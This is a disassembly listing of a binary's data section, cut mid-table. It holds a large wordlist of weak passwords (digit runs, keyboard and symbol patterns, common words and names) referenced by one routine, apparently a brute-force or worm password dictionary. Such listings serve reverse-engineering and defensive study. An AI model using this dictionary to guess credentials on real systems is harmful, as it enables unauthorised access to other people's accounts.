a1abc		db '1abc',0             ; DATA XREF: .data:0042C3C8o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .data:0042C3C4o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: .data:0042C3C0o
		align 4
a12346789	db '12346789',0         ; DATA XREF: .data:0042C3BCo
		align 4
a1234678	db '1234678',0          ; DATA XREF: .data:0042C3B8o
a123467		db '123467',0           ; DATA XREF: .data:0042C3B4o
		align 4
a12346		db '12346',0            ; DATA XREF: .data:0042C3B0o
		align 10h
a121		db '121',0              ; DATA XREF: .data:0042C388o
a1020		db '1020',0             ; DATA XREF: .data:0042C380o
		align 4
a0258		db '0258',0             ; DATA XREF: .data:0042C37Co
		align 4
a8520		db '8520',0             ; DATA XREF: .data:0042C378o
		align 4
a987		db '987',0              ; DATA XREF: .data:0042C374o
a789_0		db '789',0              ; DATA XREF: .data:0042C370o
a654		db '654',0              ; DATA XREF: .data:0042C36Co
a456_0		db '456',0              ; DATA XREF: .data:0042C368o
a1122		db '1122',0             ; DATA XREF: .data:0042C364o
		align 4
a0147		db '0147',0             ; DATA XREF: .data:0042C360o
		align 4
a7410		db '7410',0             ; DATA XREF: .data:0042C35Co
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: .data:0042C354o
		align 10h
a999999999	db '999999999',0        ; DATA XREF: .data:0042C350o
		align 4
a99999999	db '99999999',0         ; DATA XREF: .data:0042C34Co
		align 4
a9999999	db '9999999',0          ; DATA XREF: .data:0042C348o
a999999		db '999999',0           ; DATA XREF: .data:0042C344o
		align 4
a99999		db '99999',0            ; DATA XREF: .data:0042C340o
		align 10h
a9999		db '9999',0             ; DATA XREF: .data:0042C33Co
		align 4
a999		db '999',0              ; DATA XREF: .data:0042C338o
a99		db '99',0               ; DATA XREF: .data:0042C334o
		align 10h
a9:					; DATA XREF: .data:0042C330o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .data:0042C32Co
		align 10h
a888888888	db '888888888',0        ; DATA XREF: .data:0042C328o
		align 4
a8888888	db '8888888',0          ; DATA XREF: .data:0042C320o
a888888		db '888888',0           ; DATA XREF: .data:0042C31Co
		align 4
a88888		db '88888',0            ; DATA XREF: .data:0042C318o
		align 4
a8888		db '8888',0             ; DATA XREF: .data:0042C314o
		align 4
a888		db '888',0              ; DATA XREF: .data:0042C310o
a88		db '88',0               ; DATA XREF: .data:0042C30Co
		align 4
a8:					; DATA XREF: .data:0042C308o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .data:0042C304o
		align 4
a777777777	db '777777777',0        ; DATA XREF: .data:0042C300o
		align 10h
a77777777	db '77777777',0         ; DATA XREF: .data:0042C2FCo
		align 4
a7777777	db '7777777',0          ; DATA XREF: .data:0042C2F8o
a777777		db '777777',0           ; DATA XREF: .data:0042C2F4o
		align 4
a77777		db '77777',0            ; DATA XREF: .data:0042C2F0o
		align 4
a7777		db '7777',0             ; DATA XREF: .data:0042C2ECo
		align 4
a777		db '777',0              ; DATA XREF: .data:0042C2E8o
a77		db '77',0               ; DATA XREF: .data:0042C2E4o
		align 4
a7:					; DATA XREF: .data:0042C2E0o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .data:0042C2DCo
		align 4
a666666666	db '666666666',0        ; DATA XREF: .data:0042C2D8o
		align 10h
a66666666	db '66666666',0         ; DATA XREF: .data:0042C2D4o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .data:0042C2D0o
a666666		db '666666',0           ; DATA XREF: .data:0042C2CCo
		align 4
a66666		db '66666',0            ; DATA XREF: .data:0042C2C8o
		align 4
a6666		db '6666',0             ; DATA XREF: .data:0042C2C4o
		align 4
a666		db '666',0              ; DATA XREF: .data:0042C2C0o
a66		db '66',0               ; DATA XREF: .data:0042C2BCo
		align 4
a6:					; DATA XREF: .data:0042C2B8o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .data:0042C2B4o
		align 4
a555555555	db '555555555',0        ; DATA XREF: .data:0042C2B0o
		align 10h
a55555555	db '55555555',0         ; DATA XREF: .data:0042C2ACo
		align 4
a5555555	db '5555555',0          ; DATA XREF: .data:0042C2A8o
a555555		db '555555',0           ; DATA XREF: .data:0042C2A4o
		align 4
a55555		db '55555',0            ; DATA XREF: .data:0042C2A0o
		align 4
a5555		db '5555',0             ; DATA XREF: .data:0042C29Co
		align 4
a555		db '555',0              ; DATA XREF: .data:0042C298o
a55		db '55',0               ; DATA XREF: .data:0042C294o
		align 4
a5:					; DATA XREF: .data:0042C290o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .data:0042C28Co
		align 4
a444444444	db '444444444',0        ; DATA XREF: .data:0042C288o
		align 10h
a44444444	db '44444444',0         ; DATA XREF: .data:0042C284o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .data:0042C280o
a444444		db '444444',0           ; DATA XREF: .data:0042C27Co
		align 4
a44444		db '44444',0            ; DATA XREF: .data:0042C278o
		align 4
a4444		db '4444',0             ; DATA XREF: .data:0042C274o
		align 4
a444		db '444',0              ; DATA XREF: .data:0042C270o
a44		db '44',0               ; DATA XREF: .data:0042C26Co
		align 4
a4:					; DATA XREF: .data:0042C268o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .data:0042C264o
		align 4
a333333333	db '333333333',0        ; DATA XREF: .data:0042C260o
		align 10h
a33333333	db '33333333',0         ; DATA XREF: .data:0042C25Co
		align 4
a3333333	db '3333333',0          ; DATA XREF: .data:0042C258o
a333333		db '333333',0           ; DATA XREF: .data:0042C254o
		align 4
a33333		db '33333',0            ; DATA XREF: .data:0042C250o
		align 4
a3333		db '3333',0             ; DATA XREF: .data:0042C24Co
		align 4
a333		db '333',0              ; DATA XREF: .data:0042C248o
a33		db '33',0               ; DATA XREF: .data:0042C244o
		align 4
a3:					; DATA XREF: .data:0042C240o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .data:0042C23Co
		align 4
a222222222	db '222222222',0        ; DATA XREF: .data:0042C238o
		align 10h
a22222222	db '22222222',0         ; DATA XREF: .data:0042C234o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .data:0042C230o
a222222		db '222222',0           ; DATA XREF: .data:0042C22Co
		align 4
a22222		db '22222',0            ; DATA XREF: .data:0042C228o
		align 4
a2222		db '2222',0             ; DATA XREF: .data:0042C224o
		align 4
a222		db '222',0              ; DATA XREF: .data:0042C220o
a22		db '22',0               ; DATA XREF: .data:0042C21Co
		align 4
a2:					; DATA XREF: .data:0042C218o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .data:0042C214o
		align 4
a111111111	db '111111111',0        ; DATA XREF: .data:0042C210o
		align 10h
a1111111	db '1111111',0          ; DATA XREF: .data:0042C208o
a11111		db '11111',0            ; DATA XREF: .data:0042C200o
		align 10h
a1111		db '1111',0             ; DATA XREF: .data:0042C1FCo
		align 4
a11		db '11',0               ; DATA XREF: .data:0042C1F4o
		align 4
a010		db '010',0              ; DATA XREF: .data:0042C1E4o
a009		db '009',0              ; DATA XREF: .data:0042C1E0o
a008		db '008',0              ; DATA XREF: .data:0042C1DCo
a006		db '006',0              ; DATA XREF: .data:0042C1D4o
a005		db '005',0              ; DATA XREF: sub_40CC09+215o
					; .data:0042C1D0o
a004		db '004',0              ; DATA XREF: .data:0042C1CCo
a003		db '003',0              ; DATA XREF: .data:0042C1C8o
a002		db '002',0              ; DATA XREF: .data:0042C1C4o
a001		db '001',0              ; DATA XREF: sub_40CC09+200o
					; .data:0042C1C0o
asc_42D470	db '*********',0        ; DATA XREF: .data:0042C1BCo
		align 4
asc_42D47C	db '********',0         ; DATA XREF: .data:0042C1B8o
		align 4
asc_42D488	db '*******',0          ; DATA XREF: .data:0042C1B4o
asc_42D490	db '******',0           ; DATA XREF: .data:0042C1B0o
		align 4
asc_42D498	db '*****',0            ; DATA XREF: .data:0042C1ACo
		align 10h
asc_42D4A0	db '****',0             ; DATA XREF: .data:0042C1A8o
		align 4
asc_42D4A8	db '***',0              ; DATA XREF: .data:0042C1A4o
asc_42D4AC	db '**',0               ; DATA XREF: .data:0042C1A0o
		align 10h
a0000000000	db '0000000000',0       ; DATA XREF: .data:0042C198o
		align 4
a000000000	db '000000000',0        ; DATA XREF: .data:0042C194o
		align 4
a@_8		db '@!',0               ; DATA XREF: .data:0042C174o
		align 4
a@_9		db '#@!',0              ; DATA XREF: .data:0042C170o
a@_7		db '$#@!',0             ; DATA XREF: .data:0042C16Co
		align 4
a@_6		db '%$#@!',0            ; DATA XREF: .data:0042C168o
		align 10h
a@_5		db '^%$#@!',0           ; DATA XREF: .data:0042C164o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: .data:0042C160o
a@_3		db '*&^%$#@!',0         ; DATA XREF: .data:0042C15Co
		align 4
asc_42D4FC	db '$$$',0              ; DATA XREF: .data:0042C158o
asc_42D500	db '$$',0               ; DATA XREF: .data:0042C154o
		align 4
asc_42D504:				; DATA XREF: .data:0042C150o
		unicode	0, <$>,0
a456		db '456+',0             ; DATA XREF: .data:0042C14Co
		align 10h
a789		db '789+',0             ; DATA XREF: .data:0042C148o
		align 4
a0		db '=-0',0              ; DATA XREF: .data:0042C144o
asc_42D51C	db '--++',0             ; DATA XREF: .data:0042C140o
		align 4
asc_42D524	db '-+',0               ; DATA XREF: .data:0042C13Co
		align 4
asc_42D528	db '----',0             ; DATA XREF: .data:0042C138o
		align 10h
asc_42D530	db '--',0               ; DATA XREF: .data:0042C130o
					; .data:0042C134o
		align 4
asc_42D534:				; DATA XREF: .data:0042C12Co
		unicode	0, <->,0
asc_42D538	db '++++',0             ; DATA XREF: .data:0042C128o
		align 10h
asc_42D540	db '+++',0              ; DATA XREF: .data:0042C124o
asc_42D544	db '++',0               ; DATA XREF: .data:0042C120o
		align 4
asc_42D548:				; DATA XREF: .data:0042C11Co
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .data:0042C118o
		align 10h
a@_10:					; DATA XREF: sub_40CC09+23Ao
					; .data:0042C114o
		unicode	0, <@>,0
off_42D554	dd offset loc_40211E+3	; DATA XREF: .data:0042C110o
dword_42D558	dd 2121h	a@_2		db '!@#$%^&*',0         ; DATA XREF: .data:0042C104o
		align 4
a@_1		db '!@#$%^&',0          ; DATA XREF: .data:0042C100o
a@_0		db '!@#$%^',0           ; DATA XREF: .data:0042C0FCo
		align 4
a@		db '!@#$%',0            ; DATA XREF: .data:0042C0F8o
		align 10h
a@_11		db '!@#',0              ; DATA XREF: .data:0042C0F4o
a@_12		db '!@',0               ; DATA XREF: .data:0042C0F0o
		align 4
asc_42D588:				; DATA XREF: sub_40CC09+19Ao
					; sub_40CC09+5598o ...
		unicode	0, <!>,0
asc_42D58C:				; DATA XREF: .data:0042C0E8o
		unicode	0, <%>,0
aZimmerman	db 'zimmerman',0        ; DATA XREF: .data:0042C0E4o
		align 4
off_42D59C	dd offset word_70617A	; DATA XREF: .data:0042C0E0o
aYellowstone	db 'yellowstone',0      ; DATA XREF: .data:0042C0DCo
aXyz		db 'xyz',0              ; DATA XREF: .data:0042C0D8o
					; .data:0042C5D0o
aWisconsin	db 'wisconsin',0        ; DATA XREF: .data:0042C0D4o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .data:0042C0D0o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: .data:0042C0CCo
		align 4
aTty		db 'tty',0              ; DATA XREF: .data:0042C0C8o
aTopography	db 'topography',0       ; DATA XREF: .data:0042C0C4o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .data:0042C0C0o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: .data:0042C0BCo
		align 10h
aTangerine	db 'tangerine',0        ; DATA XREF: .data:0042C0B8o
		align 4
off_42D60C	dd offset byte_737973	; DATA XREF: .data:0042C0B4o
aSupported	db 'supported',0        ; DATA XREF: .data:0042C0B0o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .data:0042C0ACo
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .data:0042C0A8o
		align 4
off_42D634	dd offset byte_6E7573	; DATA XREF: .data:0042C0A4o
aStuttgart	db 'stuttgart',0        ; DATA XREF: .data:0042C0A0o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: .data:0042C09Co
		align 10h
aStephanie	db 'stephanie',0        ; DATA XREF: .data:0042C098o
		align 4
aSignature	db 'signature',0        ; DATA XREF: .data:0042C094o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: .data:0042C090o
		align 4
off_42D674	dd offset byte_6C6173	; DATA XREF: .data:0042C08Co
aRochester	db 'rochester',0        ; DATA XREF: .data:0042C088o
		align 4
off_42D684	dd offset word_656A72	; DATA XREF: .data:0042C084o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .data:0042C080o
		align 4
off_42D698	dd offset byte_627570	; DATA XREF: .data:0042C07Co
aProfessor	db 'professor',0        ; DATA XREF: .data:0042C078o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: .data:0042C074o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: .data:0042C070o
		align 10h
aPolynomial	db 'polynomial',0       ; DATA XREF: .data:0042C06Co
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: .data:0042C068o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: .data:0042C064o
		align 4
off_42D6E4	dd offset dword_6D6170	; DATA XREF: .data:0042C060o
off_42D6E8	dd offset dword_646170	; DATA XREF: .data:0042C05Co
aOceanography	db 'oceanography',0     ; DATA XREF: .data:0042C058o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: .data:0042C054o
		align 4
off_42D708	dd offset word_77656E	; DATA XREF: .data:0042C050o
off_42D70C	dd offset sub_74656E	; DATA XREF: .data:0042C04Co
off_42D710	dd offset loc_746969+4	; DATA XREF: .data:0042C048o
off_42D714	dd offset byte_72676D	; DATA XREF: .data:0042C044o
aMacintosh	db 'macintosh',0        ; DATA XREF: .data:0042C040o
		align 4
aLiz		db 'liz',0              ; DATA XREF: .data:0042C03Co
off_42D728	dd offset dword_65656C	; DATA XREF: .data:0042C038o
aLamination	db 'lamination',0       ; DATA XREF: .data:0042C034o
		align 4
off_42D738	dd offset byte_6D696B	; DATA XREF: .data:0042C030o
dword_42D73C	dd 79656Bh	dword_42D740	dd 796F6Ah	off_42D744	dd offset word_6E656A	; DATA XREF: .data:0042C024o
aInnocuous	db 'innocuous',0        ; DATA XREF: .data:0042C020o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: .data:0042C01Co
		align 10h
off_42D760	dd offset byte_6D6269	; DATA XREF: .data:0042C018o
aHappening	db 'happening',0        ; DATA XREF: .data:0042C014o
		align 10h
off_42D770	dd offset dword_6C6168	; DATA XREF: .data:0042C010o
off_42D774	dd offset loc_756E63+4	; DATA XREF: .data:0042C00Co
off_42D778	dd offset word_6E7566	; DATA XREF: .data:0042C008o
aForesight	db 'foresight',0        ; DATA XREF: .data:0042C004o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: .data:0042C000o
		align 4
aExtension	db 'extension',0        ; DATA XREF: .data:0042BFFCo
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: .data:0042BFF8o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .data:0042BFF4o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: .data:0042BFF0o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: .data:0042BFECo
		align 10h
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .data:0042BFE8o
		align 4
off_42D7DC	dd offset dword_736F64	; DATA XREF: .data:0042BFE4o
off_42D7E0	dd offset dword_676F64	; DATA XREF: .data:0042BFE0o
aDiscovery	db 'discovery',0        ; DATA XREF: .data:0042BFDCo
		align 10h
aDesperate	db 'desperate',0        ; DATA XREF: .data:0042BFD8o
		align 4
off_42D7FC	dd offset dword_626564	; DATA XREF: .data:0042BFD4o
aCornelius	db 'cornelius',0        ; DATA XREF: .data:0042BFD0o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: .data:0042BFCCo
		align 4
aChristine	db 'christine',0        ; DATA XREF: .data:0042BFC8o
		align 4
aChristina	db 'christina',0        ; DATA XREF: .data:0042BFC4o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: .data:0042BFC0o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: .data:0042BFBCo
		align 4
off_42D848	dd offset sub_746163	; DATA XREF: .data:0042BFB8o
aCampanile	db 'campanile',0        ; DATA XREF: .data:0042BFB4o
		align 4
off_42D858	dd offset byte_646163	; DATA XREF: .data:0042BFB0o
off_42D85C	dd offset word_647362	; DATA XREF: .data:0042BFACo
off_42D860	dd offset word_626F62	; DATA XREF: .data:0042BFA8o
aBicameral	db 'bicameral',0        ; DATA XREF: .data:0042BFA4o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: .data:0042BFA0o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .data:0042BF9Co
		align 4
off_42D888	dd offset byte_6D7361	; DATA XREF: .data:0042BF98o
off_42D88C	dd offset byte_647361	; DATA XREF: .data:0042BF94o
					; .data:0042C600o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .data:0042BF90o
		align 10h
off_42D8A0	dd offset byte_6E6E61	; DATA XREF: .data:0042BF8Co
aAndromache	db 'andromache',0       ; DATA XREF: .data:0042BF88o
		align 10h
aAmy		db 'amy',0              ; DATA XREF: .data:0042BF84o
aAmorphous	db 'amorphous',0        ; DATA XREF: .data:0042BF80o
		align 10h
off_42D8C0	dd offset byte_616D61	; DATA XREF: .data:0042BF7Co
off_42D8C4	dd offset byte_666C61	; DATA XREF: .data:0042BF78o
aAlbatross	db 'albatross',0        ; DATA XREF: .data:0042BF74o
		align 4
off_42D8D4	dd offset byte_616461	; DATA XREF: .data:0042BF70o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .data:0042BF6Co
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .data:0042BF68o
		align 10h
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .data:0042BF64o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: .data:0042BF60o
		align 10h
aHax		db 'hax',0              ; DATA XREF: .data:0042BF5Co
aWh0re		db 'wh0re',0            ; DATA XREF: .data:0042BF58o
		align 4
aHo		db 'ho',0               ; DATA XREF: .data:0042BF54o
		align 10h
aWh0r3		db 'wh0r3',0            ; DATA XREF: .data:0042BF50o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .data:0042BF4Co
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .data:0042BF48o
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: .data:0042BF44o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .data:0042BF40o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: .data:0042BF3Co
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .data:0042BF38o
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: .data:0042BF34o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: .data:0042BF30o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .data:0042BF2Co
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .data:0042BF28o
		align 10h
aMs		db 'MS',0               ; DATA XREF: .data:0042BF24o
		align 4
aM		db 'M$',0               ; DATA XREF: .data:0042BF20o
		align 4
aBilly		db 'billy',0            ; DATA XREF: .data:0042BF1Co
		align 10h
aWindose	db 'windose',0          ; DATA XREF: .data:0042BF18o
aWindoze	db 'windoze',0          ; DATA XREF: .data:0042BF14o
aWindowz	db 'windowz',0          ; DATA XREF: .data:0042BF10o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .data:0042BF0Co
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .data:0042BF08o
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: .data:0042BF04o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .data:0042BF00o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .data:0042BEFCo
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .data:0042BEF8o
aD00d		db 'd00d',0             ; DATA XREF: .data:0042BEF4o
		align 4
off_42D9FC	dd offset dword_6C6F6C	; DATA XREF: .data:0042BEF0o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .data:0042BEECo
		align 10h
aRoscop		db 'RoscoP',0           ; DATA XREF: .data:0042BEE8o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: .data:0042BEE4o
		align 10h
aRoss		db 'Ross',0             ; DATA XREF: .data:0042BEE0o
		align 4
aTestin		db 'testin',0           ; DATA XREF: .data:0042BEDCo
		align 10h
aTester		db 'tester',0           ; DATA XREF: .data:0042BED8o
		align 4
a00000000	db '00000000',0         ; DATA XREF: .data:0042BED4o
					; .data:0042C190o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: .data:0042BED0o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .data:0042BECCo
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: .data:0042BEC8o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .data:0042BEC4o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: .data:0042BEC0o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .data:0042BEBCo
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .data:0042BEB8o
		align 4
aYoung		db 'young',0            ; DATA XREF: .data:0042BEB4o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: .data:0042BEB0o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: .data:0042BEACo
aYellowst	db 'yellowst',0         ; DATA XREF: .data:0042BEA8o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .data:0042BEA4o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .data:0042BEA0o
		align 4
aYang		db 'yang',0             ; DATA XREF: .data:0042BE9Co
					; .data:0042C5D8o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: .data:0042BE98o
					; .data:0042C5D4o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .data:0042BE94o
		align 4
aXray		db 'xray',0             ; DATA XREF: .data:0042BE90o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .data:0042BE8Co
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .data:0042BE88o
		align 4
aXman		db 'xman',0             ; DATA XREF: .data:0042BE84o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .data:0042BE80o
		align 4
aXena		db 'xena',0             ; DATA XREF: .data:0042BE7Co
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .data:0042BE78o
aWwii		db 'wwii',0             ; DATA XREF: .data:0042BE74o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .data:0042BE70o
		align 10h
aWorm		db 'worm',0             ; DATA XREF: .data:0042BE6Co
		align 4
aWork		db 'work',0             ; DATA XREF: .data:0042BE68o
		align 10h
aWorf		db 'worf',0             ; DATA XREF: .data:0042BE64o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: .data:0042BE60o
		align 4
aWord		db 'word',0             ; DATA XREF: .data:0042BE5Co
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .data:0042BE58o
		align 4
aWood		db 'wood',0             ; DATA XREF: .data:0042BE54o
		align 10h
aWomen		db 'women',0            ; DATA XREF: .data:0042BE50o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: .data:0042BE4Co
		align 10h
aWoman		db 'woman',0            ; DATA XREF: .data:0042BE48o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: .data:0042BE44o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: .data:0042BE40o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .data:0042BE3Co
		align 4
aWithin		db 'within',0           ; DATA XREF: .data:0042BE38o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .data:0042BE34o
aWisconsi	db 'wisconsi',0         ; DATA XREF: .data:0042BE30o
		align 10h
aWired		db 'wired',0            ; DATA XREF: .data:0042BE2Co
		align 4
aWinston	db 'winston',0          ; DATA XREF: .data:0042BE28o
aWing		db 'wing',0             ; DATA XREF: .data:0042BE24o
		align 4
aWine		db 'wine',0             ; DATA XREF: .data:0042BE20o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: .data:0042BE1Co
aWilma		db 'wilma',0            ; DATA XREF: .data:0042BE18o
		align 10h
aWillie		db 'willie',0           ; DATA XREF: .data:0042BE14o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: .data:0042BE10o
		align 4
aWilliam	db 'william',0          ; DATA XREF: .data:0042BE0Co
aWill		db 'will',0             ; DATA XREF: .data:0042BE08o
		align 4
aWhore		db 'whore',0            ; DATA XREF: .data:0042BE04o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .data:0042BE00o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: .data:0042BDFCo
aWhiting	db 'whiting',0          ; DATA XREF: .data:0042BDF8o
aWhite		db 'white',0            ; DATA XREF: .data:0042BDF4o
		align 10h
aWhisky		db 'whisky',0           ; DATA XREF: .data:0042BDF0o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: .data:0042BDECo
aWhatever	db 'whatever',0         ; DATA XREF: .data:0042BDE8o
		align 4
aWestern	db 'western',0          ; DATA XREF: .data:0042BDE4o
aWest		db 'west',0             ; DATA XREF: .data:0042BDE0o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .data:0042BDDCo
		align 4
aWendy		db 'wendy',0            ; DATA XREF: .data:0042BDD8o
		align 10h
aWendi		db 'wendi',0            ; DATA XREF: .data:0042BDD4o
		align 4
aWell		db 'well',0             ; DATA XREF: .data:0042BDD0o
		align 10h
aWeenie		db 'weenie',0           ; DATA XREF: .data:0042BDCCo
		align 4
aWeed		db 'weed',0             ; DATA XREF: .data:0042BDC8o
		align 10h
aWednesda	db 'wednesda',0         ; DATA XREF: .data:0042BDC4o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .data:0042BDC0o
aWave		db 'wave',0             ; DATA XREF: .data:0042BDBCo
		align 4
aWater		db 'water',0            ; DATA XREF: .data:0042BDB8o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .data:0042BDB4o
		align 10h
aWasp		db 'wasp',0             ; DATA XREF: .data:0042BDB0o
		align 4
aWarren		db 'warren',0           ; DATA XREF: .data:0042BDACo
		align 10h
aWarp		db 'warp',0             ; DATA XREF: .data:0042BDA8o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: .data:0042BDA4o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: .data:0042BDA0o
aWarez		db 'warez',0            ; DATA XREF: .data:0042BD9Co
		align 4
aWard		db 'ward',0             ; DATA XREF: .data:0042BD98o
		align 4
aWaco		db 'waco',0             ; DATA XREF: .data:0042BD94o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: .data:0042BD90o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: .data:0042BD8Co
		align 4
aVisual		db 'visual',0           ; DATA XREF: .data:0042BD88o
		align 10h
aVisitor	db 'visitor',0          ; DATA XREF: .data:0042BD84o
aVirus		db 'virus',0            ; DATA XREF: .data:0042BD80o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: .data:0042BD7Co
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: .data:0042BD78o
		align 4
aVillage	db 'village',0          ; DATA XREF: .data:0042BD74o
aVideogam	db 'videogam',0         ; DATA XREF: .data:0042BD70o
		align 4
aVideo		db 'video',0            ; DATA XREF: .data:0042BD6Co
		align 10h
aVictor		db 'victor',0           ; DATA XREF: .data:0042BD68o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: .data:0042BD64o
		align 10h
aVertigo	db 'vertigo',0          ; DATA XREF: .data:0042BD60o
aVeronica	db 'veronica',0         ; DATA XREF: .data:0042BD5Co
		align 4
aVenus		db 'venus',0            ; DATA XREF: .data:0042BD58o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: .data:0042BD54o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: .data:0042BD50o
aValerie	db 'valerie',0          ; DATA XREF: .data:0042BD4Co
aVagina		db 'vagina',0           ; DATA XREF: .data:0042BD48o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: .data:0042BD44o
		align 4
aUtility	db 'utility',0          ; DATA XREF: .data:0042BD40o
aUtil		db 'util',0             ; DATA XREF: .data:0042BD3Co
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: .data:0042BD38o
		align 4
aUsername	db 'username',0         ; DATA XREF: .data:0042BD34o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .data:0042BD30o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: .data:0042BD2Co
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: .data:0042BD28o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: .data:0042BD24o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: .data:0042BD20o
		align 4
aUpload		db 'upload',0           ; DATA XREF: .data:0042BD1Co
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: .data:0042BD18o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: .data:0042BD14o
aUniversi	db 'universi',0         ; DATA XREF: .data:0042BD10o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: .data:0042BD0Co
		align 4
